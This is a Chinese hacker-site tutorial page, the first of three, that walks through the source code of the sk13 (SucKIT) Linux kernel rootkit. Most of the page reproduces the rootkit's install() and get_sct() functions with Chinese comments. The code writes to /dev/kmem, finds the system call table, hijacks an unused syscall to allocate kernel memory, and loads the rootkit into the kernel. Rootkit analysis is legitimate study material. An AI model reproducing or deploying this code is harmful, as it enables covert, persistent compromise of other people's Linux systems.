| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
服务导航 我要发布 主力频道 空间域名 精华收集 服务器出租 黑客培训 光盘刻录 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> Hack >> 脚本漏洞攻击 >> 正文 用户登录 新用户注册
Linux后门系列(缩水版)         ★★★ 【字体:
Linux后门系列--由浅入深sk13完全分析(缩水版)
作者:wzt 文章来源:冷漠的博客 点击数: 更新时间:2007-12-4


    五、install.c代码完全解析

    为了阅读方便,我直接贴出主要代码,并给出中文注释。

    install.c /install()
    作用:install()函数为kernel.c做初始化整备,并把sk装载到内存中.

以下是代码片段:
int install()
{
int fd;
ulong sct;
ulong kmalloc;
ulong gfp;
struct idtr idtr;
struct idt idt80;
ulong oldsys;
ulong mem;
ulong size;
ulong sctp[2];
ulong old80;

mkdir(HOME, 0644);

/* 打开/dev/kmem */

fd = open(DEFAULT_KMEM, O_RDWR, 0);
if (fd < 0) {
printf("FUCK: Can't open %s for read/write (%d)\n", DEFAULT_KMEM,-fd);
return 1;
}

/* 寻找中断描述符表的地址 */

asm ("sidt %0" : "=m" (idtr));

printf("RK_Init: idt=0x%08x, ", (uint) idtr.base);

/* 从kmem中读取int 0x80中断描述符的内容到idt80结构中,注意读出的是描述符的内容 */

if (ERR(rkm(fd, &idt80, sizeof(idt80),
idtr.base + 0x80 * sizeof(idt80)))) {
printf("FUCK: IDT table read failed (offset 0x%08x)\n",
(uint) idtr.base);
close(fd);
return 1;
}

/* 根据idt80计算出其int 0x80服务程序的实际地址,就是system_call的地址 */

old80 = idt80.off1 | (idt80.off2 << 16);

/*
根据system_call的地址,找到sys_call_table的地址
*/

sct = get_sct(fd, old80, sctp);

if (!sct) {
printf("FUCK: Can't find sys_call_table[]\n");
close(fd);
return 1;
}

printf("sct[]=0x%08x, ", (uint) sct);

/* 在kmem中寻找kmalloc的地址 ,并把GFP_KERNEL的地址保存 */

kmalloc = (ulong) get_kma(fd, sct & 0xff000000, &gfp, get_kma_hint());
if (!kmalloc) {
printf("FUCK: Can't find kmalloc()!\n");
close(fd);
return 1;
}
printf("kmalloc()=0x%08x, gfp=0x%x\n", (uint) kmalloc,
(uint) gfp);

/*
把oldolduname系统调用的地址读出,并保存

注意:oldolduname不经常被使用,所以可以用来被替换,你也可以换成其他
不常用的系统调用
*/

if (ERR(rkml(fd, &oldsys, sct + OURSYS * 4))) {
printf("FUCK: Can't read syscall %d addr\n", OURSYS);
close(fd);
return 1;
}

/*
用kmalloc的地址替换oldolduname的地址
*/

wkml(fd, kmalloc, sct + OURSYS * 4);

/*


    计算将要用kmalloc分配的内存大小,注意是在内核区域分配内存大小等于sk自身的长度+256个系统调用的地址+512个pid_struc个结构体的大小。

注意:sk13b将要把原来的sys_call_table的所有内容重新分配到即将开辟的内存中,hook系统时是hook新的sys_call_table数组的,并用新的sys_call_talbe的地址覆盖原来的sys_call_talbe地址

以下是代码片段:
*/

size = (ulong) kernel_end - (ulong) kernel_start
+ SCT_TABSIZE + PID_TABSIZE;

printf("Z_Init: Allocating kernel-code memory...");

/*

    调用kmalloc在内核区域中分配内存

    注意: 刚才已经把oldolduname的地址替换成kmalloc的地址了,只要调用oldolduname就可以调用kmalloc函数了

    补充:如何在应用程序中直接调用kmalloc

    sk在stuff.h中定义了类似如下的几个宏函数:

以下是代码片段:
#define syscall2(__type, __name, __t1, __t2) \
__type __name(__t1 __a1, __t2 __a2) \
{ \
ulong __res; \
__asm__ volatile \
("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##__name) \
rr("b", __a1) \
rr("c", __a2)); \
return (__type) __res; \
}

static inline syscall2(ulong, KMALLOC, ulong, ulong);被展开后就变为:

static inline ulong KMALLOC(ulong __a1,ulong __a2)
{
ulong __res;
__asm__volatile
("int $0x80"
: "=a" (__res)
" "0"(__NR_KMALLOC)
rr("b", __a1)
rr("c", __a2));

return (ulong)__res;
}

又根据
#define __NR_KMALLOC OURSYS
#define OURSYS __NR_oldolduname
在进一步替换为:

static inline ulong KMALLOC(ulong __a1,ulong __a2)
{
ulong __res;
__asm__volatile
("int $0x80"
: "=a" (__res)
" "0"(__NR_oldolduname)
rr("b", __a1)
rr("c", __a2));

return (ulong)__res;
}


    执行KMALLOC(size,gfp),实际是去执行oldolduname系统调用,但我们知道它的地址已经被kmalloc的地址替换了,所以就去执行kmalloc,到此,我们已经在内核区域中分配了指定大小的空间

以下是代码片段:
*/

mem = KMALLOC(size, gfp);
if (!mem) {
wkml(fd, oldsys, sct + OURSYS * 4);
printf("FUCK: Out of kernel memory!\n");
close(fd);
return 1;
}

/* 将sk装入刚才分配的内存中 */

wkm(fd, (void *) kernel_start,
(ulong) kernel_end - (ulong) kernel_start,
mem + SCT_TABSIZE);

/*



    用kernel_init函数的地址替换掉oldolduname系统调用的地址跟KMALLOC同样的道理,调用oldolduname等于调用kernel_init

以下是代码片段:
*/

wkml(fd, mem + SCT_TABSIZE +
(ulong) (kernel_init) - (ulong) kernel_start,
sct + OURSYS * 4);

/*


    下面是sk所在内核区域内的内存分配示意图

以下是代码片段:
mem kernel_start kernel_init kernel_end
| | | |
V ------> 256 * 4 <--------V V V ----->512*sizeof(pid_struc)
+------------------------------------------------------------------------------------
| 新的sys_call_table的数组 | | | PID_TABSIZE |
+------------------------------------------------------------------------------------
|
|
|
|
V
+--------------------------------------+
老的sys_call_table[]数组 | | |
+--------------------------------------+
^
|
oldolduname
*/


/*

KINT同KMALLOC一样都是去执行oldolduname,然后就可以执行kernel.c/kernel_init了,是不是很巧妙呢

注意:从这以后就开始转向kernel.c/kernel_init()函数了

*/

KINIT(mem, sct, sctp, oldsys);

printf("Done, %d bytes, base=0x%08x\n", (int) size, (uint) mem);
return 0;
}


pattern.c/get_sct:


    作用:根据system_call函数地址找到sys_call_table[]数组地址

    代码分析:

以下是代码片段:
ulong get_sct(int fd, ulong ep, ulong *pos)
{
#define SCLEN 512
char code[SCLEN];
char *p;
ulong r;

/*
从kmem的ep(system_call的地址)偏移位置读取512字节到code缓冲区中

*/

if (rkm(fd, code, sizeof(code), ep) <= 0)
return 0;

/*


     在code缓冲区中匹配搜寻\xff\x14\x85

     注意:call something<,eax,4)指令的机器码是0xff 0x14 0x85 0xp的地址是call something<,eax,4)机器码的首地址,要得到sys_call_table的地址还得在+3

以下是代码片段:
*/
p = (char *) memmem(code, SCLEN, "\xff\x14\x85", 3);
if (!p) return 0;


/*
(p+3) - code 是sys_call_table相对code的偏移量,在+ep,也就是sys_call_table的地址,
与r的值是一样的

*/
pos[0] = ep + ((p + 3) - code);

/* r的地址就是sys_call_table的首地址 */

r = *(ulong *) (p + 3);

/* p还是sys_call_table的地址 */

p = (char *) memmem(p+3, SCLEN - (p-code) - 3, "\xff\x14\x85", 3);
if (!p) return 0;

pos[1] = ep + ((p + 3) - code);

return r;
}


pattern.c/get_kma():


    作用:通过模式匹配搜索kmalloc()函数的地址如果内核没有提供LKM支持,将使我们陷入困境。而且,这个问题的解决方法非常脏,也不是很好,但是看来还有效。我们将遍历内核的.text段,对如下指令进行模式查询:

push GFP_KERNEL
push size
call kmalloc

上一页  [1] [2] [3] 下一页

责任编辑:朱倩  联系方式  Email:朱倩
电话:51228163
  • 上一篇黑客:

  • 下一篇黑客:
  • (只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    姓 名:
    * 游客填写  ·注册用户
    主 页:
    评 分:
    1分 2分 3分 4分 5分
    评论内容:
    验证码: *
  • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各项有关法律法规。
  • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
  • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
  • 本站管理员有权保留或删除评论内容。
  • 评论内容只代表网友个人观点,与本网站立场无关。
  • 最新hack更新
    最新推荐资讯
    相关黑客
    注册表及组策略后门实测手札
    linux留本地后门两个方法
    三分钟搞定隐藏管理员
    Windows与Linux提权体验
    后门程序技术知识深解
    对Linux服务器四种入侵
    linux入侵踪迹隐藏攻略
    Vbs脚本实现radmin后门
    亮点频频的黑洞2007
    解析网页后门和挂马
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号